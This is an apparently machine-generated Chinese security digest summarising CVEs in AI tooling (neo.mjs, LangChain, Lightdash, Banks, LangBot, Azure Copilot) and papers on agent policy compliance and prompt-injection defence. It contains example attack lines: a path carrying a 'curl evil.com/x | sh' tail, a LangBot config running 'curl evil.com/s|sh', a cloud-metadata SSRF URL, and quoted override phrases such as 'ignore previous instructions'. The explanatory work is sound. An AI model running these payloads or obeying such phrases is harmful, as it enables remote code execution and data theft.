速览 2026-08-21:11 篇
今天 11 篇里有 8 篇是 CVE 和漏洞分析,全长在 AI 工具链上,全是上世纪那批老 bug:MCP 服务器把路径原样拼进 shell 命令(neo.mjs,CVE-2026-18482)、prompt 模板库拿用户填的名字当文件路径(Banks,CVE-2026-71492)、LangBot 让任何注册用户填一行 command 就在服务器上执行(CVE-2026-54449)。另有三条同日 SSRF——LangChain 的 sitemap 加载器(CVE-2026-72848)、Lightdash 的 webhook(CVE-2026-72846)、Azure Copilot(CVE-2026-69855)——前两条都写了防护,只是漏了一条分支没接上。剩下两篇防御论文都在琢磨怎么让模型不被骗,而今天真出事的地方是工具那头不检查参数。另外一篇值得单看:让模型在 NetHack 源码里几小时挖出一个整数截断崩溃。
读全文
neo.mjs 的文件系统 MCP 服务器:路径检查通过之后,路径被塞进了 shell
CVE-2026-18482 : neo.mjs · novice-22
novice-22.com · 2026-08-20 · blog
neo.mjs 是个前端框架,但它的 /ai/ 目录是一套让 Claude、Gemini、GPT 几个模型自己开发、自己 review 自己代码库的系统,底下挂了 6 个 MCP 服务器。这里说的 MCP 服务器不是网络服务,是 agent 在你本机 fork 出来的一个子进程,靠标准输入输出对话——所以它拿的是你本人的权限,你的 ~/.ssh、你的 AWS 凭证它都读得到。其中的 file-system 服务器给 agent 提供读文件、写文件、检查语法、跑 Playwright 测试这些工具,凡是接收路径的工具都会先过一道 ensureSandboxed() 检查。这道检查是有效的,它确认路径确实在项目目录里、没有用 ../ 跑出去。问题在于检查完之后:这个合法路径被原样拼进一条 shell 命令字符串里执行,而 shell 看到分号就会当成两条命令。检查回答的是「这个文件该不该碰」,执行的是「这一整串字符扔进 shell 会发生什么」,两件事之间没有任何关系。别读成沙箱没做——沙箱防的是路径穿越,遇到的是命令注入,防错了东西。触发也不是无条件的:需要 agent 被诱导去调用 check_syntax 或 run_playwright_test 并传一个带尾巴的路径,但对一个每天读 issue、读网页正文的编码 agent 来说,这门槛不高。今天这批里唯一从代码读到可复现 PoC 都摊开的一篇。补丁已经合进仓库(2026-07-24),但作者写稿时 npm 上发布的包还没带上修复——要给行动建议的话,这一点比 CVE 编号有用。
node --check /proj/a.js; curl evil.com/x | sh
路径本身完全合法、能通过沙箱检查,分号后面那截才是货;整串交给 shell 后当两条命令跑
看摘要
LangChain 的网站地图加载器:同域限制写了,但漏了嵌套那条路
CVE-2026-72848 — SitemapLoader.parse_sitemap in langchain_community/document_loaders/sitemap.py applies the documented restrict_to_same_domain control only to leaf url entries.
disclosure@vulncheck.com · 2026-08-20 · cve
SitemapLoader 是 LangChain 用来批量抓网站内容喂进检索库的工具,它有个开关叫 restrict_to_same_domain,部署方打开它就是为了限制服务器往外发请求的范围。代码里对 sitemap 中列出的具体网页确实做了同域过滤。但 sitemap 是可以嵌套的——一个 sitemap.xml 里可以不列具体网页,而是列另外几个 sitemap 文件的地址,大站点常这么分片——而处理嵌套的那个循环把子 sitemap 的地址直接扔给抓取函数去 GET,没有域名比对,也没排除内网、回环、链路本地这类地址。攻击者只要能影响被抓取的那份 sitemap,就在嵌套那一栏填 http://169.254.169.254/latest/meta-data/(云厂商的元数据地址,只有机器内部访问得到),服务器替你抓回来。更糟的是抓回来的内容会被解析成 Document 返回给调用方,所以内网服务的响应是直接吐出来的,不只是「发了个请求」。别写成 LangChain 不做输入校验——它做了,只是漏了一条分支。教训是校验该放在真正发请求的那个函数里(WebBaseLoader 这一层),而不是散在每个调用点上。这一点和同日的 Lightdash(CVE-2026-72846)完全一样。
Lightdash:仓库里有现成的 SSRF 防护函数,两条 webhook 路径就是没接上
CVE-2026-72846 — Lightdash stores the webhook URL supplied with a scheduled delivery and later posts to it from sendWebhook in packages/backend/src/clients/GoogleChat/GoogleChatClient.ts and in pac
disclosure@vulncheck.com · 2026-08-20 · cve
webhook 就是「报表跑完了,系统往你填的一个 URL 发一条消息,Slack 或 Teams 群里弹出通知」——这个 URL 由用户自己填,天然就是一个「让服务器帮我发请求」的按钮。Lightdash 把定时推送里填的 webhook 地址存下来,之后由 Google Chat 和 Teams 两个客户端直接 fetch。仓库里明明已经有一个叫 validatePublicHttpUrl 的检查函数(专门给 MCP server 的 URL 用),这两条路径就是没走它,字段本身也没有服务端约束。于是任何能创建或触发定时推送的用户,都能让服务器往内网 IP、回环地址、云元数据端点发 POST。上游的响应不会返回给请求者——但别拿这个当风险降级的理由:失败时的报错能区分「连上了」和「连不上」,这就够做内网端口扫描;而且失败响应体会被写进服务器日志,等于第二个泄露口。1.146.4 的修复不是给日志脱敏,是把两条路径都改走统一的校验入口。和 LangChain 那条(CVE-2026-72848)配着看:防护写了但没覆盖全,比压根没写更容易蒙混过关,因为审计时一搜「有校验函数」就过了。
Banks:给 prompt 起个名字,就能把文件写到任意目录
CVE-2026-71492 — Banks generates meaningful LLM prompts using a simple template language.
security-advisories@github.com · 2026-08-20 · cve
Banks 是个存放 prompt 模板的小库——模板存成文件,用「名字+版本号」取出来,平时大家把它当配置文件仓库看。问题出在保存那一步:DirectoryPromptRegistry.set() 把用户给的名字直接拼进文件路径,既不做规范化也不检查结果是否还在指定目录内。名字填成 ../victim/foo,文件就落到目录外面去了;填一个绝对路径,配置的根目录干脆被整个忽略;而且它允许覆盖已存在的文件。最难缠的是这个被污染的名字会写进索引文件 index.json,下次加载时原样重建,越界的路径能跨重启活下来。 前提是应用把外部请求里的数据转手填进了 name/version 字段——摘要写明了这一点,没交代攻击者是否还需要别的权限。后果是任意文件写,不等于直接拿到 shell:能造成多大破坏取决于该进程有权写哪些目录(能写定时任务目录和只能覆盖别的模板,差别很大)。2.4.5 已修。和今天 neo.mjs 那个洞(CVE-2026-18482)是同一种懒惰:把外面传来的字符串当成结构化标识符直接用。
LangBot:注册一个账号,就能在服务器上执行任意命令
CVE-2026-54449 — LangBot is a global IM bot platform designed for LLMs.
security-advisories@github.com · 2026-08-20 · cve
今天这批里危害最直白的一条。LangBot 的 Extensions 界面允许添加 MCP server 配置(MCP server 就是给 AI 助手用的工具进程),其中 STDIO 那种类型不是连一个网络地址,而是让服务端 fork 一个子进程、通过管道对话——命令名和参数都由填表的人写。也就是说这个表单里填 command: bash,args: [“-c”, “curl evil.com/s|sh”],服务器就真的执行。而任何已认证用户都能填,没有授权检查。实例若开放注册,注册一个账号 = 拿到服务器 shell(权限是 LangBot 服务进程的权限)。截至审阅时无修复版本。 别把它归到 prompt injection 或者什么 AI 新型风险,它跟大模型没关系,就是一道缺失的权限边界——「配置一个 MCP server」看起来像改设置,不像执行命令,于是没人管谁有资格改。和 neo.mjs 那条(CVE-2026-18482)并排看:那个是把不可信字符串拼进 shell 命令,这个是设计上就允许用户指定跑什么命令。
StdioServerParameters accepts the configured command and arguments and starts a server-side subprocess on the LangBot server.
配置项里的 command 和 args 由用户填,服务端照跑
让模型在 NetHack 源码里挖洞,几小时找到一个可随时触发的崩溃
Using Genius AI Models for Important Things: Cheating at NetHack
Joseph Thacker · 2026-08-20 · blog
这不是漏洞报告,是一个能力数据点。作者自认不擅长深入读源码找洞,于是把 NetHack 5 的 C 代码丢给 GPT-5.6,几小时内模型找到 resize_tty() 里的一个整数截断:终端宽度存在一个 16 位有符号变量里,最大只能到 32767,你把窗口宽度设成 40000,存进去就变成了负数,后面所有按宽度算的内存偏移全错,程序读写到数组外面去。这个崩溃的好处是随时能主动触发,不用等特定动作,于是可以拿来卡在存档的瞬间复制道具、刷分。值得注意的细节是模型自己给出了『Yes, this is real』的判断,而不是把一堆疑似问题扔给人去筛。
但别推广成『模型能自动挖漏洞了』。成立的前提叠了好几层:开源 C 代码、被人研究了几十年、崩溃有明确可观测的信号(程序当场挂掉,不需要人判断算不算漏洞)。而且这不是一条自动化流水线,是一个懂行的人带着模型找,他知道该往哪看、知道什么样的崩溃有利用价值。今天另外几条 CVE 是老式 bug 长在了 AI 工具链上,这篇是反过来——AI 被用来找老式 bug,同一种能力的两面。
NetHack 5 had an integer-truncation bug in resize_tty(): terminal widths above 32,767 wrapped negative
模型找到的洞:终端宽度超过 32767 就变成负数,后续所有基于宽度的计算全部越界
PolicyGuide:客服 agent 的合规失败一半是「漏做了步骤」,动作级检查看不出来
PolicyGuide: From Guarding One Action to Guiding the Whole Workflow for Policy-Compliant LLM Agents
Seongjae Kang、Taehyung Yu、Sung Ju Hwang · 2026-08-20 · cs.AI

这篇换了个提问的时机。以往给 agent 加的运行时护栏都是在它要执行某个动作时拦一下——『这笔退款该不该给』。但客服流程的违规有两种:一种是做了不该做的事(给了不该给的补偿),动作发生时能当场拦;另一种是漏了该做的事(整通电话没核实过身份就改了订单、没让用户确认就下了单),这种在任何单个动作上都看不出问题,只有回头看整段对话才发现。PolicyGuide 的做法是把每条业务政策编译成一张流程图——『改签』这条政策变成:核验身份 → 查是否可改签 → 报差价 → 用户确认 → 执行——图里记着当前走到哪个节点,每次用户说完一句话就检查一遍还有哪些步骤没做,然后告诉 agent 下一步该补什么。agent 想直接跳到最后一步会被指回来。
效果:三个客服领域的平均 Pass^4 从 0.42 提到 0.62。Pass^4 是指同一个任务独立跑四遍、四遍全合规才算通过——比平均成功率严格得多,一个每次 80% 正确的 agent 四遍全对只有约 41%。所以 0.62 的意思是仍有近四成场景里四次至少错一次,别读成合规问题解决了。提升最大的是电信客服(0.19→0.61),因为电信的业务流程最接近一张固定的图;反过来说,政策写不成流程图的领域(开放式咨询之类)这套方法没话说。摘要里提到的低攻击成功率是副产品,它不是防注入方案。
和今天这批 CVE 放一起有个反差值得点一句:这篇假设失败发生在模型层面——agent 被绕过了政策。但今天真出事的地方在工具那一端,一个把路径直接拼进 shell 的 checkSyntax()(CVE-2026-18482),模型对齐得再好也拦不住。这不是说 PolicyGuide 做错了,是说这两类防线得分开修。
跳过
neo.mjs 命令注入的 CVE 条目
CVE-2026-18482 — Neo.mjs contains a command injection vulnerability within the FileSystemService.mjs component of the ai/mcp/server/file-system MCP server, where the checkSyntax() and runPlaywright
cret@cert.org · 2026-08-20 · cve
和上面那篇博客是同一个洞,信息量是博客的子集,合并看即可。唯一值得留意的是两处对不上:博客写修复 commit 是 5aca564e,CVE 条目写的是 88c77fc;而且博客明确说到撰稿时 npm 发布的包里还没有这个修复。也就是说光看 CVE 说「已修复」会误判——升级 npm 包并不一定拿到补丁。
Azure 版 Copilot 存在服务端请求伪造,已授权用户可借此读到不该看的信息
CVE-2026-69855 — Server-side request forgery (ssrf) in Microsoft Copilot in Azure allows an authorized attacker to disclose information over a network.
secure@microsoft.com · 2026-08-20 · cve
微软的通告只有一句话:Azure 里的 Copilot 有 SSRF(服务端请求伪造——你让服务器去访问一个地址,它就替你访问了,包括那些只有服务器内部才连得到的地址),已授权的攻击者能借此拿到网络上的信息。没有版本号、没有受影响组件、没有利用细节。注意「已授权」这个词:需要先有合法访问权限,不是随便谁从公网就能打。它的价值只是一个计数——今天同一批里 LangChain 的网页加载器(CVE-2026-72848)、Lightdash 的定时推送(CVE-2026-72846)也都是 SSRF,那两个至少能看到代码里防护漏在哪,这条什么也看不到。
CVE-2026-18482:neo.mjs 的文件系统 MCP 服务器把路径拼进 shell 命令
CVE-2026-18482 — Neo.mjs contains a command injection vulnerability within the FileSystemService.mjs component of the ai/mcp/server/file-system MCP server, where the checkSyntax() and runPlaywright
cret@cert.org · 2026-08-20 · cve
这条 CVE 和今天那篇 neo.mjs 的分析博客说的是同一个洞,信息量是博客的子集,单独看没什么可读的。要点只有一句:这个给 AI 编码助手用的文件系统工具,在 checkSyntax() 和 runPlaywrightTest() 里把调用方传来的文件路径原样拼进一条 shell 命令字符串——路径里带个分号,分号后面那截就被当成另一条命令执行了。真正需要提醒的是修复信息对不上:CVE 条目写修复提交是 88c77fc,博客写的是 5aca564e,而且博客明确说到撰稿时 npm 上还没有发布带修复的版本。所以如果你的项目依赖它,看 commit 号没用,得确认自己装的包里那两个函数是不是还在拼字符串。
COPA:把防注入训练当成持续学习问题
COPA: Continual Preference Optimization for Adaptive Prompt Injection Defense
Roshan Sood、Onat Gungor、Tajana Rosing · 2026-08-20 · cs.CR
做法是:每来一类新的注入攻击,就用强化学习增量训一轮防御模型,同时按比例掺进旧攻击的样本一起训,免得模型学会挡新招之后反而忘了怎么挡老招(学会识破编码混淆的攻击后,回头连最基础的『忽略前面的指令』都拦不住了)。这套流程是持续学习领域的标准配方,搬到防注入上没有新东西。跳过的具体理由在『适应性对手』这个卖点上:论文里的攻击者是一串预先定好的变体,按顺序依次喂给模型——先『忽略前面的指令』,再『把指令拆开藏进 base64 里』,再『假装自己是系统消息』——攻击者从头到尾不知道防御模型长什么样,也不会针对刚训完的这一版重新编话术。这是『按课程表学几类已知攻击』,不是和一个会反击的对手过招;要证明适应性,攻击者必须在每一轮针对最新的防御模型重新优化。顺带一提,今天这批 CVE 里真正出事的地方都在工具那一端不检查参数(比如把文件路径原样拼进 shell 命令,见 neo.mjs 那条 CVE-2026-18482),模型再怎么对齐也管不到那里——这不代表 COPA 这类工作错了,只是它守的门和今天被踹开的门不是同一扇。
a sequence of prompt injection variants (e.g., ignore previous instructions, token smuggling, system mode)
论文自己列的攻击序列——固定三类、按顺序喂进来,这就是它所说的『持续演进的对手』
本文由自动化管道生成(采集 → 逐字核验 → 模型撰写),未经人工改写。